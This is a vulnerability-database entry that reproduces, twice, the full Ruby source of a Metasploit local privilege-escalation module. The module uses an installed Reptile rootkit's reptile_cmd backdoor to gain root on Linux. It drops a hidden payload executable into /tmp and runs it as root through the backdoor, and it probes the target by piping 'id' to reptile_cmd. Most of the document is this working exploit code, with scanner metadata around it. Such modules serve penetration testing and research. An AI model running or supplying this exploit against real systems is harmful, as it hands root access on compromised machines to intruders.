ID MSF:EXPLOIT/LINUX/LOCAL/REPTILE_ROOTKIT_REPTILE_CMD_PRIV_ESC Type metasploit Reporter Rapid7 Modified 2019-12-11T06:48:51
Description
This module uses Reptile rootkit's reptile_cmd backdoor executable to gain root privileges using the root command. This module has been tested successfully with Reptile from master branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',
'Description' => %q{
This module uses Reptile rootkit's `reptile_cmd` backdoor executable
to gain root privileges using the `root` command.
This module has been tested successfully with Reptile from `master`
branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'f0rb1dd3n', # Reptile
'bcoles' # Metasploit
],
'DisclosureDate' => '2018-10-29', # Reptile first stable release
'References' =>
[
['URL', 'https://github.com/f0rb1dd3n/Reptile'],
['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_options [
OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def reptile_cmd_path
datastore['REPTILE_CMD_PATH']
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def check
unless executable? reptile_cmd_path
vprint_error "#{reptile_cmd_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{reptile_cmd_path} is executable"
res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
vprint_status "Output: #{res}"
if res.include?('You have no power here!')
vprint_error 'Reptile kernel module is not loaded'
return CheckCode::Safe
end
unless res.include?('root')
vprint_error 'Reptile is not installed'
return CheckCode::Safe
end
vprint_good 'Reptile is installed and loaded'
CheckCode::Vulnerable
end
def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_name = ".#{rand_text_alphanumeric 8..12}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
print_status 'Executing payload...'
res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
vprint_line res
end
end
{"id": "MSF:EXPLOIT/LINUX/LOCAL/REPTILE_ROOTKIT_REPTILE_CMD_PRIV_ESC", "type": "metasploit", "bulletinFamily": "exploit", "title": "Reptile Rootkit reptile_cmd Privilege Escalation", "description": "This module uses Reptile rootkit's `reptile_cmd` backdoor executable to gain root privileges using the `root` command. This module has been tested successfully with Reptile from `master` branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).\n", "published": "2019-12-11T06:48:51", "modified": "2019-12-11T06:48:51", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "", "reporter": "Rapid7", "references": ["https://github.com/f0rb1dd3n/Reptile", "https://github.com/f0rb1dd3n/Reptile/wiki/Usage"], "cvelist": [], "lastseen": "2020-10-12T04:15:18", "viewCount": 257, "enchantments": {"dependencies": {"references": []}, "score": {"value": -0.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "kitploit", "idList": ["KITPLOIT:141156949881593440", "KITPLOIT:5653496433376619357", "KITPLOIT:8458155717277021778"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/LINUX/LOCAL/REPTILE_ROOTKIT_REPTILE_CMD_PRIV_ESC/"]}, {"type": "n0where", "idList": ["N0WHERE:161003", "N0WHERE:76327"]}]}, "exploitation": null, "vulnersScore": -0.1}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/reptile_rootkit_reptile_cmd_priv_esc.rb", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::File\n include Msf::Post::Linux::Priv\n include Msf::Post::Linux::System\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',\n 'Description' => %q{\n This module uses Reptile rootkit's `reptile_cmd` backdoor executable\n to gain root privileges using the `root` command.\n\n This module has been tested successfully with Reptile from `master`\n branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'f0rb1dd3n', # Reptile\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2018-10-29', # Reptile first stable release\n 'References' =>\n [\n ['URL', 'https://github.com/f0rb1dd3n/Reptile'],\n ['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']\n ],\n 'Platform' => ['linux'],\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'Targets' => [['Auto', {}]],\n 'Notes' =>\n {\n 'Reliability' => [ REPEATABLE_SESSION ],\n 'Stability' => [ CRASH_SAFE ]\n },\n 'DefaultTarget' => 0))\n register_options [\n OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])\n ]\n register_advanced_options [\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\n ]\n end\n\n def reptile_cmd_path\n datastore['REPTILE_CMD_PATH']\n end\n\n def base_dir\n datastore['WritableDir'].to_s\n end\n\n def upload(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n register_file_for_cleanup path\n end\n\n def upload_and_chmodx(path, data)\n upload path, data\n chmod path\n end\n\n def check\n unless executable? reptile_cmd_path\n vprint_error \"#{reptile_cmd_path} is not executable\"\n return CheckCode::Safe\n end\n vprint_good \"#{reptile_cmd_path} is executable\"\n\n res = cmd_exec(\"echo id|#{reptile_cmd_path} root\").to_s.strip\n vprint_status \"Output: #{res}\"\n\n if res.include?('You have no power here!')\n vprint_error 'Reptile kernel module is not loaded'\n return CheckCode::Safe\n end\n\n unless res.include?('root')\n vprint_error 'Reptile is not installed'\n return CheckCode::Safe\n end\n vprint_good 'Reptile is installed and loaded'\n\n CheckCode::Vulnerable\n end\n\n def exploit\n unless check == CheckCode::Vulnerable\n unless datastore['ForceExploit']\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\n end\n print_warning 'Target does not appear to be vulnerable'\n end\n\n if is_root?\n unless datastore['ForceExploit']\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\n end\n end\n\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\n end\n\n payload_name = \".#{rand_text_alphanumeric 8..12}\"\n payload_path = \"#{base_dir}/#{payload_name}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n print_status 'Executing payload...'\n res = cmd_exec \"echo '#{payload_path}&' | #{reptile_cmd_path} root & echo \"\n vprint_line res\n end\nend\n", "metasploitReliability": "", "metasploitHistory": "", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 0}}